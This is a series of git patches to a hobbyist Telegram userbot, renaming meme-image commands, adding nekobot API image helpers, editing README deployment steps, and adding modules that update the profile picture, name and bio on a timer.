-@bot.on(admin_cmd(pattern="trap(?: |$)(.*)")) -@bot.on(sudo_cmd(pattern="trap(?: |$)(.*)", allow_sudo=True)) +@bot.on(admin_cmd(pattern="ttrap(?: |$)(.*)")) +@bot.on(sudo_cmd(pattern="ttrap(?: |$)(.*)", allow_sudo=True)) async def catbot(catmemes): input_str = catmemes.pattern_match.group(1) input_str = deEmojify(input_str) @@ -132,7 +132,7 @@ async def catbot(catmemes): else: await edit_or_reply( catmemes, - "**Syntax :** reply to image or sticker with `.trap (name of the person to trap)|(trapper name)`", + "**Syntax :** reply to image or sticker with `.ttrap (name of the person to trap)|(trapper name)`", ) return replied = await catmemes.get_reply_message() @@ -181,8 +181,8 @@ async def catbot(catmemes): await catmemes.client.send_file(catmemes.chat_id, cat, reply_to=replied) -@bot.on(admin_cmd(pattern="phub(?: |$)(.*)")) -@bot.on(sudo_cmd(pattern="phub(?: |$)(.*)", allow_sudo=True)) +@bot.on(admin_cmd(pattern="tphub(?: |$)(.*)")) +@bot.on(sudo_cmd(pattern="tphub(?: |$)(.*)", allow_sudo=True)) async def catbot(catmemes): input_str = catmemes.pattern_match.group(1) input_str = deEmojify(input_str) @@ -191,7 +191,7 @@ async def catbot(catmemes): else: await edit_or_reply( catmemes, - "**Syntax :** reply to image or sticker with `.phub (username)|(text in comment)`", + "**Syntax :** reply to image or sticker with `.tphub (username)|(text in comment)`", ) return replied = await catmemes.get_reply_message() @@ -245,11 +245,11 @@ async def catbot(catmemes): "trolls": "**Plugin : **`trolls`\ \n\n**Syntax :**`.threats` reply to image or sticker \ \n**USAGE:**Changes the given pic to another pic which shows that pic content is threat to society as that of nuclear bomb .\ - \n\n**Syntax :**`.trash` reply to image or sticker\ + \n\n**Syntax :**`.ttrash` reply to image or sticker\ \n**USAGE : **Changes the given pic to another pic which shows that pic content is as equal as to trash(waste)\ - \n\n**Syntax :** reply to image or sticker with `.trap (name of the person to trap)|(trapper name)`\ + \n\n**Syntax :** reply to image or sticker with `.ttrap (name of the person to trap)|(trapper name)`\ \n**USAGE :**Changes the given pic to another pic which shows that pic content is trapped in trap card\ - \n\n**Syntax :** reply to image or sticker with `.phub (username)|(text in comment)`\ + \n\n**Syntax :** reply to image or sticker with `.tphub (username)|(text in comment)`\ \n**USAGE :**Changes the given pic to another pic which shows that pic content as dp and shows a comment in phub with the given username\ " } From 3d96d55f7399c219c4b74ce8cb6dc57050941d97 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 10:22:23 +0530 Subject: [PATCH 223/838] I think this will fix the issue --- fridaybot/modules/trolls.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/trolls.py b/fridaybot/modules/trolls.py index 78daa583..123244a3 100644 --- a/fridaybot/modules/trolls.py +++ b/fridaybot/modules/trolls.py @@ -126,7 +126,7 @@ async def catbot(catmemes): @bot.on(sudo_cmd(pattern="ttrap(?: |$)(.*)", allow_sudo=True)) async def catbot(catmemes): input_str = catmemes.pattern_match.group(1) - input_str = deEmojify(input_str) + if "|" in input_str: text1, text2 = input_str.split("|") else: @@ -185,7 +185,7 @@ async def catbot(catmemes): @bot.on(sudo_cmd(pattern="tphub(?: |$)(.*)", allow_sudo=True)) async def catbot(catmemes): input_str = catmemes.pattern_match.group(1) - input_str = deEmojify(input_str) + if "|" in input_str: username, text = input_str.split("|") else: From 9cab774048decd77bfbbfcfebd0e1fb91973556d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 10:29:55 +0530 Subject: [PATCH 224/838] Trolls Work..... :-( --- fridaybot/modules/trolls.py | 64 +++++++++++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) diff --git a/fridaybot/modules/trolls.py b/fridaybot/modules/trolls.py index 123244a3..622cb599 100644 --- a/fridaybot/modules/trolls.py +++ b/fridaybot/modules/trolls.py @@ -24,6 +24,70 @@ from ..utils import admin_cmd, sudo_cmd, edit_or_reply +async def trap(text1, text2, text3): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=trap&name={text1}&author={text2}&image={text3}" + ).json() + sandy = r.get("message") + caturl = url(sandy) + if not caturl: + return "check syntax once more" + with open("temp.png", "wb") as f: + f.write(requests.get(sandy).content) + img = Image.open("temp.png") + if img.mode != "RGB": + img = img.convert("RGB") + img.save("temp.jpg", "jpeg") + return "temp.jpg" + +async def trash(text): + r = requests.get(f"https://nekobot.xyz/api/imagegen?type=trash&url={text}").json() + sandy = r.get("message") + caturl = url(sandy) + if not caturl: + return "check syntax once more" + with open("temp.png", "wb") as f: + f.write(requests.get(sandy).content) + img = Image.open("temp.png") + if img.mode != "RGB": + img = img.convert("RGB") + img.save("temp.jpg", "jpeg") + return "temp.jpg" + + +async def threats(text): + r = requests.get(f"https://nekobot.xyz/api/imagegen?type=threats&url={text}").json() + sandy = r.get("message") + caturl = url(sandy) + if not caturl: + return "check syntax once more" + with open("temp.png", "wb") as f: + f.write(requests.get(sandy).content) + img = Image.open("temp.png") + if img.mode != "RGB": + img = img.convert("RGB") + img.save("temp.jpg", "jpeg") + return "temp.jpg" + + +async def phcomment(text1, text2, text3): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=phcomment&image={text1}&text={text2}&username={text3}" + ).json() + sandy = r.get("message") + caturl = url(sandy) + if not caturl: + return "check syntax once more" + with open("temp.png", "wb") as f: + f.write(requests.get(sandy).content) + img = Image.open("temp.png") + if img.mode != "RGB": + img = img.convert("RGB") + img.save("temp.jpg", "jpeg") + return "temp.jpg" + + + @bot.on(admin_cmd(pattern="threats(?: |$)(.*)")) @bot.on(sudo_cmd(pattern="threats(?: |$)(.*)", allow_sudo=True)) async def catbot(catmemes): From e0f4c0ff88066f9fe36d904b4ed7ef479997fd3d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 10:34:44 +0530 Subject: [PATCH 225/838] Update trolls.py --- fridaybot/modules/trolls.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/modules/trolls.py b/fridaybot/modules/trolls.py index 622cb599..81db9090 100644 --- a/fridaybot/modules/trolls.py +++ b/fridaybot/modules/trolls.py @@ -15,6 +15,7 @@ import base64 import os +import requests from telegraph import exceptions, upload_file from telethon.tl.functions.messages import ImportChatInviteRequest as Get From 535e865c74322503d99578f085fb1d111d39ec1c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 10:37:47 +0530 Subject: [PATCH 226/838] Update trolls.py --- fridaybot/modules/trolls.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/trolls.py b/fridaybot/modules/trolls.py index 81db9090..a14e478b 100644 --- a/fridaybot/modules/trolls.py +++ b/fridaybot/modules/trolls.py @@ -23,7 +23,7 @@ from fridaybot import * from fridaybot import CMD_HELP from ..utils import admin_cmd, sudo_cmd, edit_or_reply - +from validators.url import url async def trap(text1, text2, text3): r = requests.get( From 36ae13eea4f37744ae1e74ee6e4b19c1ae61558c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 10:40:40 +0530 Subject: [PATCH 227/838] Update trolls.py --- fridaybot/modules/trolls.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/trolls.py b/fridaybot/modules/trolls.py index a14e478b..2d610829 100644 --- a/fridaybot/modules/trolls.py +++ b/fridaybot/modules/trolls.py @@ -19,7 +19,8 @@ from telegraph import exceptions, upload_file from telethon.tl.functions.messages import ImportChatInviteRequest as Get - +import PIL.ImageOps +from PIL import Image, ImageDraw, ImageFont from fridaybot import * from fridaybot import CMD_HELP from ..utils import admin_cmd, sudo_cmd, edit_or_reply From 15b32cecb3d5343299a70c9867c84679ee9d05d1 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 12:02:24 +0530 Subject: [PATCH 228/838] Update README.md --- README.md | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index ec0eb06b..601d50ea 100644 --- a/README.md +++ b/README.md @@ -39,8 +39,10 @@ Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from [Bot Father](https://t.me/botfather) and then Turn on Inline mode for the bot ## 2) String Session (Need before deploying) -### [Using the Bot](https://t.me/stringsessionbot) (Recommended) -[![Use Our Bot](https://img.shields.io/badge/StringSessionGenerator-Use%20Bot-brightgreen)](https://t.me/stringsessionbot) +This is the way thar your userbot connects with you. Need an AppID ApiHash and a username to go.. +### [Using the repl](https://repl.it/@InukaAsith/VirtualUserbot#main.py) (Recommended) +[![Run on Repl.it](https://repl.it/badge/github/STARKGANG/friday)](https://repl.it/@InukaAsith/VirtualUserbot#main.py) + ## 3) Heroku API @@ -90,10 +92,9 @@ send /id and get the group's ID

    From b5e2e17ab3a7f810346642266703ed00e5644224 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 12:21:49 +0530 Subject: [PATCH 231/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 0735092e..3fc174bc 100644 --- a/README.md +++ b/README.md @@ -100,7 +100,7 @@ Goto telegram and send .help to see the help of your Userbot # -## What is the message sending to users who message to you +# What is the message sending to users who message to you Virtual Userbot has a PM Protection service ( It was just copied from Friday Project) From c1530c749d64652d694ee06a5b1bed2629a4547c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 12:25:32 +0530 Subject: [PATCH 232/838] Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 3fc174bc..5453884b 100644 --- a/README.md +++ b/README.md @@ -104,10 +104,10 @@ Goto telegram and send .help to see the help of your Userbot Virtual Userbot has a PM Protection service ( It was just copied from Friday Project) -Send .a to approove users to PM you -and, .da to disapproove +Send ```.a``` to approove users to PM you +and, ```.da``` to disapproove -If you Dont like this send .set var +If you Dont like this send ```.set var PM_DATA DISABLE``` From 9755c5eca9ec05555c88f389c0d51ea57fc73281 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 12:32:31 +0530 Subject: [PATCH 233/838] Update README.md --- README.md | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 5453884b..3803f3a0 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,7 @@ ``` Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang.. ``` -# Support +# ❤️ Support @@ -30,7 +30,7 @@

    -# Before You Go +# 🕵️‍♀️ Before You Go @@ -54,7 +54,7 @@ Create a account on [Heroku](dashboad.heroku.com) first. Then goto settings scro Create a private group on Telegram. Add [MissRoseBot](t.me/missrosebot) to you group and give Admin permissions. Turn Chat history for members in Manage group -send /id and get the group's ID +send ```/id``` and get the group's ID @@ -63,7 +63,7 @@ send /id and get the group's ID -# Deploying To Heroku +# 🏃‍♂️ Deploying To Heroku [![Deploy To Heroku](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/Inukaasith/virtualuserbot) @@ -83,7 +83,7 @@ send /id and get the group's ID # -# After Deploying Steps +# 🤴 After Deploying Steps ## 1) Turn Heroku Dynos ON Dynos are used on heroku. On free accounts You will get 600 free dyno hours. When you link your CC you will get aditional 400 dyno for free. @@ -102,7 +102,7 @@ Goto telegram and send .help to see the help of your Userbot # What is the message sending to users who message to you -Virtual Userbot has a PM Protection service ( It was just copied from Friday Project) +### Virtual Userbot has a PM Protection service ( It was just copied from Friday Project) Send ```.a``` to approove users to PM you and, ```.da``` to disapproove @@ -110,6 +110,7 @@ and, ```.da``` to disapproove If you Dont like this send ```.set var PM_DATA DISABLE``` +#
    -MORE INFO HERE - @@ -175,6 +176,6 @@ published by the Free Software Foundation, either version 3 of the License, or ### Please Note!.. This bot is a Developed Version of [Friday Userbot](https://github.com/StarkGang/FridayUserbot).. All credits goes to [StarkGang](https://github.com/StarkGang) for the [Friday Project](https://github.com/StarkGang/FridayUserbot).. -### Made possible by [Friday Project](https://github.com/StarkGang/FridayUserbot) and many other opensource projects.. +### ❤️ Made possible by [Friday Project](https://github.com/StarkGang/FridayUserbot) and many other opensource projects.. ❤️ -### Special Thanks to [Tech Wizard Entertaintment](https://t.me/Tech_Wizard_Ent) for helping me. +### 😍 Special Thanks to [Tech Wizard Entertaintment](https://t.me/Tech_Wizard_Ent) for helping me. 😍 From 5416ac85606c1c181088f25e2a1871695b5458cd Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 12:33:24 +0530 Subject: [PATCH 234/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 3803f3a0..e092a6b9 100644 --- a/README.md +++ b/README.md @@ -40,7 +40,7 @@ Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from ## 2) String Session (Need before deploying) This is the way thar your userbot connects with you. Need an AppID ApiHash and a username to go.. -### [Using the repl](https://repl.it/@InukaAsith/VirtualUserbot#main.py) (Recommended) + [![Run on Repl.it](https://repl.it/badge/github/STARKGANG/friday)](https://repl.it/@InukaAsith/VirtualUserbot#main.py) From dd693ffcd6c26bcd9ca6c85bc32cdcf57ebbd0ac Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 12:35:14 +0530 Subject: [PATCH 235/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index e092a6b9..faf08f63 100644 --- a/README.md +++ b/README.md @@ -100,7 +100,7 @@ Goto telegram and send .help to see the help of your Userbot # -# What is the message sending to users who message to you +# 🦹‍♀️ What is the message sending to users who message you ### Virtual Userbot has a PM Protection service ( It was just copied from Friday Project) From bd80d1aeacc4dc3d74403fee946d8d1797191663 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 12:40:23 +0530 Subject: [PATCH 236/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index faf08f63..f473bc7e 100644 --- a/README.md +++ b/README.md @@ -12,7 +12,7 @@

    -``` Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang.. ``` +``` Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to Friday Developers.. ``` # ❤️ Support From 7a3f18910ebf179dd4b84cf19084332edbd94d60 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 22:45:03 +0530 Subject: [PATCH 237/838] Update bye.py --- fridaybot/modules/bye.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/bye.py b/fridaybot/modules/bye.py index 0af98459..6e10b26a 100644 --- a/fridaybot/modules/bye.py +++ b/fridaybot/modules/bye.py @@ -18,10 +18,10 @@ async def leave(e): if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): time.sleep(3) if e.is_group: - await starkgang.edit("`This is Very kensur Group, So Me iz Leaving.`") + await e.edit("`This is Very kensur Group, So Me iz Leaving.`") await borg(LeaveChannelRequest(e.chat_id)) else: - await starkgang.edit("`Boss, This is Not A Chat`") + await e.edit("`Boss, This is Not A Chat`") CMD_HELP.update( From 114c9807fb56d0aa80153bce76ead55c3cb024ed Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 22:46:47 +0530 Subject: [PATCH 238/838] Update warns.py --- fridaybot/modules/warns.py | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/warns.py b/fridaybot/modules/warns.py index fcc1efdd..3aa9a781 100644 --- a/fridaybot/modules/warns.py +++ b/fridaybot/modules/warns.py @@ -1,6 +1,6 @@ from fridaybot.modules.sql_helper import warns_sql as sql from fridaybot.utils import friday_on_cmd - +from fridaybot import CMD_HELP @friday.on(friday_on_cmd(pattern="warn(?: |$)(.*)")) async def _s(event): @@ -167,3 +167,20 @@ async def get_user_from_id(user, event): return None return user_obj + + + +CMD_HELP.update( + { + "warns": "**Warns**\ +\n\n**Syntax : **`.warn `\ +\n**Usage :** Warns The Given User.\ +\n\n**Syntax : **`.rwarn `\ +\n**Usage :** Removes Warn Of The User.\ +\n\n**Syntax : **`.allwarns `\ +\n**Usage :** Shows All The Warns Of The Given User.\ +\n\n**Syntax : **`.slimit `\ +\n**Usage :** Sets Maximum Warn Limit.\ +\n\n**Syntax : **`.wap `\ +\n**Usage :** If this is turned on, user gets banned after reaching maximum warns. If it's off, user is kicked." + } From ec8c981fc40936ffc9d66e776c4c926bc19e4472 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 22:48:18 +0530 Subject: [PATCH 239/838] Update urlshortner.py --- fridaybot/modules/urlshortner.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/urlshortner.py b/fridaybot/modules/urlshortner.py index f2e00427..c86690e0 100644 --- a/fridaybot/modules/urlshortner.py +++ b/fridaybot/modules/urlshortner.py @@ -12,8 +12,8 @@ async def vom(event): sed = pyshorteners.Shortener() kek = sed.tinyurl.short(link) bestisbest = ( - f"Url Shortened \nGiven Link{link} \n" - f"Shortened Link{kek}" + f"Url Shortened \nGiven Link ➠ {link}\n" + f"Shortened Link ➠ {kek}" ) await event.edit(bestisbest, parse_mode="HTML") except Exception as e: From 0f49101ea07790381830c6274cfa8fafb93bd276 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 28 Dec 2020 11:49:15 +0530 Subject: [PATCH 240/838] Update warns.py --- fridaybot/modules/warns.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/modules/warns.py b/fridaybot/modules/warns.py index 3aa9a781..bd001a29 100644 --- a/fridaybot/modules/warns.py +++ b/fridaybot/modules/warns.py @@ -184,3 +184,4 @@ async def get_user_from_id(user, event): \n\n**Syntax : **`.wap `\ \n**Usage :** If this is turned on, user gets banned after reaching maximum warns. If it's off, user is kicked." } +) From d696168b9abd9a287bf947857f73fe4dcc25d1e0 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 28 Dec 2020 12:19:50 +0530 Subject: [PATCH 241/838] Delete autopic.py --- fridaybot/modules/autopic.py | 54 ------------------------------------ 1 file changed, 54 deletions(-) delete mode 100644 fridaybot/modules/autopic.py diff --git a/fridaybot/modules/autopic.py b/fridaybot/modules/autopic.py deleted file mode 100644 index 0a483846..00000000 --- a/fridaybot/modules/autopic.py +++ /dev/null @@ -1,54 +0,0 @@ -import asyncio -import os -import shutil -from datetime import datetime - -from PIL import Image, ImageDraw, ImageFont -from pySmartDL import SmartDL -from telethon.tl import functions - -from fridaybot import CMD_HELP - -FONT_FILE_TO_USE = "Fonts/digital.ttf" - - -@command(pattern="^.autopic", outgoing=True) -async def autopic(event): - downloaded_file_name = "fridaybot/original_pic.png" - downloader = SmartDL( - Var.DOWNLOAD_PFP_URL_CLOCK, downloaded_file_name, progress_bar=False - ) - downloader.start(blocking=False) - photo = "fridaybot/photo_pfp.png" - while not downloader.isFinished(): - pass - counter = -30 - while True: - shutil.copy(downloaded_file_name, photo) - im = Image.open(photo) - file_test = im.rotate(counter, expand=False).save(photo, "PNG") - current_time = datetime.now().strftime("Let's Time Travel %H:%M ") - img = Image.open(photo) - drawn_text = ImageDraw.Draw(img) - fnt = ImageFont.truetype(FONT_FILE_TO_USE, 30) - drawn_text.text((95, 250), current_time, font=fnt, fill=(255, 255, 255)) - img.save(photo) - file = await bot.upload_file(photo) # pylint:disable=E0602 - try: - await bot( - functions.photos.UploadProfilePhotoRequest(file) # pylint:disable=E0602 - ) - os.remove(photo) - counter -= 30 - await asyncio.sleep(60) - except: - return - - -CMD_HELP.update( - { - "autopic": "**AutoPic**\ -\n\n**Syntax : **`.autopic`\ -\n**Usage :** Change your profile PIC With Time" - } -) From 47fddeff7bc27ce08976af80b48a3e3ae1225266 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 28 Dec 2020 12:21:13 +0530 Subject: [PATCH 242/838] Create autopic.py --- fridaybot/modules/autopic.py | 54 ++++++++++++++++++++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 fridaybot/modules/autopic.py diff --git a/fridaybot/modules/autopic.py b/fridaybot/modules/autopic.py new file mode 100644 index 00000000..0a483846 --- /dev/null +++ b/fridaybot/modules/autopic.py @@ -0,0 +1,54 @@ +import asyncio +import os +import shutil +from datetime import datetime + +from PIL import Image, ImageDraw, ImageFont +from pySmartDL import SmartDL +from telethon.tl import functions + +from fridaybot import CMD_HELP + +FONT_FILE_TO_USE = "Fonts/digital.ttf" + + +@command(pattern="^.autopic", outgoing=True) +async def autopic(event): + downloaded_file_name = "fridaybot/original_pic.png" + downloader = SmartDL( + Var.DOWNLOAD_PFP_URL_CLOCK, downloaded_file_name, progress_bar=False + ) + downloader.start(blocking=False) + photo = "fridaybot/photo_pfp.png" + while not downloader.isFinished(): + pass + counter = -30 + while True: + shutil.copy(downloaded_file_name, photo) + im = Image.open(photo) + file_test = im.rotate(counter, expand=False).save(photo, "PNG") + current_time = datetime.now().strftime("Let's Time Travel %H:%M ") + img = Image.open(photo) + drawn_text = ImageDraw.Draw(img) + fnt = ImageFont.truetype(FONT_FILE_TO_USE, 30) + drawn_text.text((95, 250), current_time, font=fnt, fill=(255, 255, 255)) + img.save(photo) + file = await bot.upload_file(photo) # pylint:disable=E0602 + try: + await bot( + functions.photos.UploadProfilePhotoRequest(file) # pylint:disable=E0602 + ) + os.remove(photo) + counter -= 30 + await asyncio.sleep(60) + except: + return + + +CMD_HELP.update( + { + "autopic": "**AutoPic**\ +\n\n**Syntax : **`.autopic`\ +\n**Usage :** Change your profile PIC With Time" + } +) From 04030b41715121f5b77ab791b6d0e8f957528698 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 28 Dec 2020 12:23:16 +0530 Subject: [PATCH 243/838] Create autotools.py --- fridaybot/modules/autotools.py | 287 +++++++++++++++++++++++++++++++++ 1 file changed, 287 insertions(+) create mode 100644 fridaybot/modules/autotools.py diff --git a/fridaybot/modules/autotools.py b/fridaybot/modules/autotools.py new file mode 100644 index 00000000..4a9b2728 --- /dev/null +++ b/fridaybot/modules/autotools.py @@ -0,0 +1,287 @@ +# ported from uniborg thanks to @s_n_a_p_s , @r4v4n4 , @spechide and @PhycoNinja13b +#:::::Credit Time:::::: +# 1) Coded By: @s_n_a_p_s +# 2) Ported By: @r4v4n4 (Noodz Lober) +# 3) End Game Help By: @spechide +# 4) Better Colour Profile Pic By @PhycoNinja13b +import asyncio +import base64 +import os +import random +import shutil +import time +from datetime import datetime + +from PIL import Image, ImageDraw, ImageFont +from pySmartDL import SmartDL +from telethon.errors import FloodWaitError +from telethon.tl import functions +from fridaybot import CMD_HELP +from . import AUTONAME, DEFAULT_BIO + +DEFAULTUSERBIO = str(DEFAULT_BIO) if DEFAULT_BIO else " ᗯᗩᏆᎢᏆᑎᏀ ᏞᏆᏦᗴ ᎢᏆᗰᗴ " +CHANGE_TIME = Config.CHANGE_TIME +DEFAULTUSER = str(AUTONAME) if AUTONAME else "cat" + +FONT_FILE_TO_USE = "/usr/share/fonts/truetype/dejavu/DejaVuSansMono.ttf" +global AUTOPICSTART +global DIGITALPICSTART +global BLOOMSTART +global AUTONAMESTART +global AUTOBIOSTART + +BLOOMSTART = False +AUTOPICSTART = False +AUTOBIOSTART = False +AUTONAMESTART = False +DIGITALPICSTART = False + + +@bot.on(admin_cmd(pattern="autopic ?(.*)")) +async def autopic(event): + if event.fwd_from: + return + global AUTOPICSTART + downloaded_file_name = "userbot/original_pic.png" + downloader = SmartDL( + Config.DOWNLOAD_PFP_URL_CLOCK, downloaded_file_name, progress_bar=False + ) + downloader.start(blocking=False) + photo = "userbot/photo_pfp.png" + while not downloader.isFinished(): + pass + input_str = event.pattern_match.group(1) + if input_str: + try: + input_str = -int(input_str) + except ValueError: + input_str = -60 + else: + input_str = 0 + if AUTOPICSTART: + return await edit_delete(event, f"`Autopic is already enabled`") + else: + AUTOPICSTART = True + counter = input_str + await edit_delete(event, f"`Autopic has been started by my Master`") + while AUTOPICSTART: + shutil.copy(downloaded_file_name, photo) + im = Image.open(photo) + file_test = im.rotate(counter, expand=False).save(photo, "PNG") + current_time = datetime.now().strftime(" Time: %H:%M \n Date: %d.%m.%y ") + img = Image.open(photo) + drawn_text = ImageDraw.Draw(img) + fnt = ImageFont.truetype(FONT_FILE_TO_USE, 30) + drawn_text.text((150, 250), current_time, font=fnt, fill=(124, 252, 0)) + img.save(photo) + file = await event.client.upload_file(photo) + try: + await event.client(functions.photos.UploadProfilePhotoRequest(file)) + os.remove(photo) + counter -= input_str + await asyncio.sleep(CHANGE_TIME) + except BaseException: + return + + +@bot.on(admin_cmd(pattern="digitalpfp$")) +async def main(event): + if event.fwd_from: + return + global DIGITALPICSTART + poto = "userbot/poto_pfp.png" + cat = str( + base64.b64decode( + "aHR0cHM6Ly90ZWxlZ3JhLnBoL2ZpbGUvYWVhZWJlMzNiMWYzOTg4YTBiNjkwLmpwZw==" + ) + )[2:51] + downloaded_file_name = "userbot/digital_pic.png" + downloader = SmartDL(cat, downloaded_file_name, progress_bar=False) + downloader.start(blocking=False) + if DIGITALPICSTART: + return await edit_delete(event, f"`Digitalpfp is already enabled`") + else: + DIGITALPICSTART = True + await edit_delete(event, f"`digitalpfp has been started by my Master`") + while DIGITALPICSTART: + shutil.copy(downloaded_file_name, poto) + Image.open(poto) + current_time = datetime.now().strftime("%H:%M") + img = Image.open(poto) + drawn_text = ImageDraw.Draw(img) + cat = str(base64.b64decode("dXNlcmJvdC9oZWxwZXJzL3N0eWxlcy9kaWdpdGFsLnR0Zg=="))[ + 2:36 + ] + fnt = ImageFont.truetype(cat, 200) + drawn_text.text((350, 100), current_time, font=fnt, fill=(124, 252, 0)) + img.save(poto) + file = await event.client.upload_file(poto) + await event.client( + functions.photos.DeletePhotosRequest( + await event.client.get_profile_photos("me", limit=1) + ) + ) + await event.client(functions.photos.UploadProfilePhotoRequest(file)) + os.remove(poto) + await asyncio.sleep(CHANGE_TIME) + + +@bot.on(admin_cmd(pattern="bloom$")) +async def autopic(event): + if event.fwd_from: + return + global BLOOMSTART + downloaded_file_name = "userbot/original_pic.png" + downloader = SmartDL( + Config.DOWNLOAD_PFP_URL_CLOCK, downloaded_file_name, progress_bar=True + ) + downloader.start(blocking=False) + photo = "userbot/photo_pfp.png" + while not downloader.isFinished(): + pass + if BLOOMSTART: + return await edit_delete(event, f"`Bloom is already enabled`") + else: + BLOOMSTART = True + await edit_delete( + event, "`Bloom colour profile pic have been enabled by my master`" + ) + while BLOOMSTART: + # RIP Danger zone Here no editing here plox + R = random.randint(0, 256) + B = random.randint(0, 256) + G = random.randint(0, 256) + FR = 256 - R + FB = 256 - B + FG = 256 - G + shutil.copy(downloaded_file_name, photo) + image = Image.open(photo) + image.paste((R, G, B), [0, 0, image.size[0], image.size[1]]) + image.save(photo) + current_time = datetime.now().strftime("\n Time: %H:%M:%S \n \n Date: %d/%m/%y") + img = Image.open(photo) + drawn_text = ImageDraw.Draw(img) + fnt = ImageFont.truetype(FONT_FILE_TO_USE, 60) + ofnt = ImageFont.truetype(FONT_FILE_TO_USE, 250) + drawn_text.text((95, 250), current_time, font=fnt, fill=(FR, FG, FB)) + drawn_text.text((95, 250), " 😈", font=ofnt, fill=(FR, FG, FB)) + img.save(photo) + file = await event.client.upload_file(photo) + try: + await event.client(functions.photos.UploadProfilePhotoRequest(file)) + os.remove(photo) + await asyncio.sleep(CHANGE_TIME) + except BaseException: + return + + +@bot.on(admin_cmd(pattern="autoname$")) +async def _(event): + if event.fwd_from: + return + global AUTONAMESTART + if AUTONAMESTART: + return await edit_delete(event, f"`Autoname is already enabled`") + else: + AUTONAMESTART = True + await edit_delete(event, "`Auto Name has been started by my Master `") + while AUTONAMESTART: + DM = time.strftime("%d-%m-%y") + HM = time.strftime("%H:%M") + name = f"⌚️ {HM}||› {DEFAULTUSER} ‹||📅 {DM}" + logger.info(name) + try: + await event.client(functions.account.UpdateProfileRequest(first_name=name)) + except FloodWaitError as ex: + logger.warning(str(e)) + await asyncio.sleep(ex.seconds) + await asyncio.sleep(CHANGE_TIME) + + +@bot.on(admin_cmd(pattern="autobio$")) +async def _(event): + global AUTOBIOSTART + if event.fwd_from: + return + if AUTOBIOSTART: + return await edit_delete(event, f"`Autobio is already enabled`") + else: + AUTOBIOSTART = True + await edit_delete(event, "`Autobio has been started by my Master`") + while AUTOBIOSTART: + DMY = time.strftime("%d.%m.%Y") + HM = time.strftime("%H:%M:%S") + bio = 